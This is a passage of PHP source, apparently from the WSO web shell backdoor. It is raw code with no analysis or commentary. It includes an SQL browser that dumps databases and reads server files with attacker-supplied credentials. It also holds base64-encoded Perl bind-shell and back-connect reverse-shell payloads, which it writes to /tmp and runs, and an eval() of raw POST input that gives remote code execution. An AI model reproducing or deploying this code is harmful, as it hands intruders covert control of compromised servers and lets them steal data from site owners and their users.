1268 if($fp) fwrite($fp, $sql); else echo($sql);
1269 $i++;
1270 }
1271 if(!$head)
1272 if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
1273 break;
1274 case 'pgsql':
1275 $this->query('SELECT * FROM '.$table);
1276 while($item = $this->fetch()) {
1277 $columns = array();
1278 foreach($item as $k=>$v) {
1279 $item[$k] = "'".addslashes($v)."'";
1280 $columns[] = $k;
1281 }
1282 $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1283 if($fp) fwrite($fp, $sql); else echo($sql);
1284 }
1285 break;
1286 }
1287 return false;
1288 }
1289 };
1290 $db = new DbClass($_POST['type']);
1291 if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
1292 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1293 $db->selectdb($_POST['sql_base']);
1294 switch($_POST['charset']) {
1295 case "Windows-1251": $db->setCharset('cp1251'); break;
1296 case "UTF-8": $db->setCharset('utf8'); break;
1297 case "KOI8-R": $db->setCharset('koi8r'); break;
1298 case "KOI8-U": $db->setCharset('koi8u'); break;
1299 case "cp866": $db->setCharset('cp866'); break;
1300 }
1301 if(empty($_POST['file'])) {
1302 ob_start("ob_gzhandler", 4096);
1303 header("Content-Disposition: attachment; filename=dump.sql");
1304 header("Content-Type: text/plain");
1305 foreach($_POST['tbl'] as $v)
1306 $db->dump($v);
1307 exit;
1308 } elseif($fp = @fopen($_POST['file'], 'w')) {
1309 foreach($_POST['tbl'] as $v)
1310 $db->dump($v, $fp);
1311 fclose($fp);
1312 unset($_POST['p2']);
1313 } else
1314 die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1315 }
1316 wsoHeader();
1317 echo "
1318<h1>Sql browser</h1><div class=content>
1319<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1320<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1321<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
1322<td><select name='type'><option value='mysql' ";
1323 if(@$_POST['type']=='mysql')echo 'selected';
1324echo ">MySql</option><option value='pgsql' ";
1325if(@$_POST['type']=='pgsql')echo 'selected';
1326echo ">PostgreSql</option></select></td>
1327<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
1328<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
1329<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
1330 $tmp = "<input type=text name=sql_base value=''>";
1331 if(isset($_POST['sql_host'])){
1332 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1333 switch($_POST['charset']) {
1334 case "Windows-1251": $db->setCharset('cp1251'); break;
1335 case "UTF-8": $db->setCharset('utf8'); break;
1336 case "KOI8-R": $db->setCharset('koi8r'); break;
1337 case "KOI8-U": $db->setCharset('koi8u'); break;
1338 case "cp866": $db->setCharset('cp866'); break;
1339 }
1340 $db->listDbs();
1341 echo "<select name=sql_base><option value=''></option>";
1342 while($item = $db->fetch()) {
1343 list($key, $value) = each($item);
1344 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1345 }
1346 echo '</select>';
1347 }
1348 else echo $tmp;
1349 }else
1350 echo $tmp;
1351 echo "</td>
1352 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1353 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
1354 </tr>
1355 </table>
1356 <script>
1357 s_db='".@addslashes($_POST['sql_base'])."';
1358 function fs(f) {
1359 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1360 if(f.p1) f.p1.value='';
1361 if(f.p2) f.p2.value='';
1362 if(f.p3) f.p3.value='';
1363 }
1364 }
1365 function st(t,l) {
1366 d.sf.p1.value = 'select';
1367 d.sf.p2.value = t;
1368 if(l && d.sf.p3) d.sf.p3.value = l;
1369 d.sf.submit();
1370 }
1371 function is() {
1372 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1373 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1374 }
1375 </script>";
1376 if(isset($db) && $db->link){
1377 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1378 if(!empty($_POST['sql_base'])){
1379 $db->selectdb($_POST['sql_base']);
1380 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1381 $tbls_res = $db->listTables();
1382 while($item = $db->fetch($tbls_res)) {
1383 list($key, $value) = each($item);
1384 if(!empty($_POST['sql_count']))
1385 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1386 $value = htmlspecialchars($value);
1387 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
1388 }
1389 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1390 if(@$_POST['p1'] == 'select') {
1391 $_POST['p1'] = 'query';
1392 $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
1393 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1394 $num = $db->fetch();
1395 $pages = ceil($num['n'] / 30);
1396 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1397 echo " of $pages";
1398 if($_POST['p3'] > 1)
1399 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
1400 if($_POST['p3'] < $pages)
1401 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
1402 $_POST['p3']--;
1403 if($_POST['type']=='pgsql')
1404 $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1405 else
1406 $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1407 echo "<br><br>";
1408 }
1409 if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1410 $db->query(@$_POST['p2']);
1411 if($db->res !== false) {
1412 $title = false;
1413 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1414 $line = 1;
1415 while($item = $db->fetch()) {
1416 if(!$title) {
1417 echo '<tr>';
1418 foreach($item as $key => $value)
1419 echo '<th>'.$key.'</th>';
1420 reset($item);
1421 $title=true;
1422 echo '</tr><tr>';
1423 $line = 2;
1424 }
1425 echo '<tr class="l'.$line.'">';
1426 $line = $line==1?2:1;
1427 foreach($item as $key => $value) {
1428 if($value == null)
1429 echo '<td><i>null</i></td>';
1430 else
1431 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1432 }
1433 echo '</tr>';
1434 }
1435 echo '</table>';
1436 } else {
1437 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1438 }
1439 }
1440 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1441 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
1442 echo htmlspecialchars($_POST['p2']);
1443 echo "</textarea><br/><input type=submit value='Execute'>";
1444 echo "</td></tr>";
1445 }
1446 echo "</table></form><br/>";
1447 if($_POST['type']=='mysql') {
1448 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1449 if($db->fetch())
1450 echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1451 }
1452 if(@$_POST['p1'] == 'loadfile') {
1453 $file = $db->loadFile($_POST['p2']);
1454 echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1455 }
1456 } else {
1457 echo htmlspecialchars($db->error());
1458 }
1459 echo '</div>';
1460 wsoFooter();
1461}
1462function actionNetwork() {
1463 wsoHeader();
1464 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1465 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1466 echo "<h1>Network tools</h1><div class=content>
1467 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1468 <span>Bind port to /bin/sh [perl]</span><br/>
1469 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1470 </form>
1471 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1472 <span>Back-connect [perl]</span><br/>
1473 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1474 </form><br>";
1475 if(isset($_POST['p1'])) {
1476 function cf($f,$t) {
1477 $w = @fopen($f,"w") or @function_exists('file_put_contents');
1478 if($w){
1479 @fwrite($w,@base64_decode($t));
1480 @fclose($w);
1481 }
1482 }
1483 if($_POST['p1'] == 'bpp') {
1484 cf("/tmp/bp.pl",$bind_port_p);
1485 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1486 sleep(1);
1487 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1488 unlink("/tmp/bp.pl");
1489 }
1490 if($_POST['p1'] == 'bcp') {
1491 cf("/tmp/bc.pl",$back_connect_p);
1492 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1493 sleep(1);
1494 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1495 unlink("/tmp/bc.pl");
1496 }
1497 }
1498 echo '</div>';
1499 wsoFooter();
1500}
1501function actionRC() {
1502 if(!@$_POST['p1']) {
1503 $a = array(
1504 "uname" => php_uname(),
1505 "php_version" => phpversion(),
1506 "wso_version" => WSO_VERSION,
1507 "safemode" => @ini_get('safe_mode')
1508 );
1509 echo serialize($a);
1510 } else {
1511 eval($_POST['p1']);
1512 }
1513}
1514if( empty($_POST['a']) )
1515 if(isset($default_action) && function_exists('action' . $default_action))
1516 $_POST['a'] = $default_action;
1517 else
1518 $_POST['a'] = 'SecInfo';
1519if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1520 call_user_func('action' . $_POST['a']);
1521exit;
1522?>